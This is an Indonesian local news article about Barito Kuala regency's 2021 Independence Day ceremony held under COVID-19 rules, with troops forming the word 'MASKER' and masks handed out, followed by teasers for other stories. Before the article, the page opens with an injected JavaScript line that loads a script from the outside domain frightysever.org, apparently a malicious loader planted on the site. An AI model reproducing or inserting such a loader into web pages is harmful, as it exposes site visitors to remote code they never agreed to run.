(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN– Upacara Peringatan HUT Kemerdekaan ke-76 Republik Indonesia (RI) tahun 2021 di Kabupaten Barito Kuala (Batola) dilaksanakan sederhana dengan peserta terbatas serta menerapkan protokol kesehatan (prokes).
Ada satu pemandangan menarik dari pelaksanaan Peringatan Detik-detik Proklamasi Kemerdekaan RI ke-76 di Batola ini. Peserta upacara yang berjumlah 6 pleton diakhir pelaksanaan membentuk konfirgurasi kata “MASKERâ€.
Dari 6 pleton pasukan masing-masing dari Kodim 1005 Batola membentuk formasi huruf M, pasukan Polres membentuk formasi huruf A, pasukan Satpol-PP membentuk huruf S, pasukan Korpri Putra membentuk formasi huruf K, pasukan Korpri Putri membentuk formasi Huruf E, dan pasukan Pramuka membentuk formasi huruf R, sehingga setelah disusun terbentuk kata “MASKERâ€.
Ketua Seksi Upacara, Hery Sasmita SSTP MAP menerangkan, Peringatan HUT ke-76 Kemerdekaan RI di Batola ini sengaja dilaksanakan sederhana dengan peserta terbatas serta menerapkan prokes seperti menjaga jarak dan memakai masker untuk menghindari penyebaran COVID-19.
â€Langkah ini sekaligus untuk mendukung upaya pemberantasan penyebaran COVID-19 sekaligus untuk mensosialisasikan kepada masyarakat agar senantiasa menerapkan prokes terutama memakai masker,â€katanya.
Baca juga :Â Bupati Sambangi Rumah Veteran dan Janda Veteran
Penyerahan 76 ribu masker tersebut, lanjut Hery, dilakukan secara simbolis Bupati Hj Noormiliyani AS, Wakil Bupati H Rahmadian Noor, Ketua DPRD Saleh, Sekda H Zulkipli Yadi Noor, dan para anggota forkopimda kepada 17 perwakilan kecamatan se-Batola, Tim Komukasi Informasi dan Edukasi (KIE) dan Tim Yustisia COVID-19 Batola untuk dibagi-bagikan kepada masyarakat.
“Sejak tanggal 10 hingga 23 Agustus 2021 Batola termasuk dalam 45 kabupaten/kota yang menerapkan Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Level 4,sehungga sesuai Instruksi Menteri Dalam Negeri Nomor : 30 Tahun 2021 Tahun 2021 tentang PPKM Level 4 COVID-19 tanggal 11 Agustus 2021 telah mengeluarkan Surat Edaran terkait pembatasan-pembatasan dalam upaya pencegahan penyebaran COVID-19,†tutupnya. (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.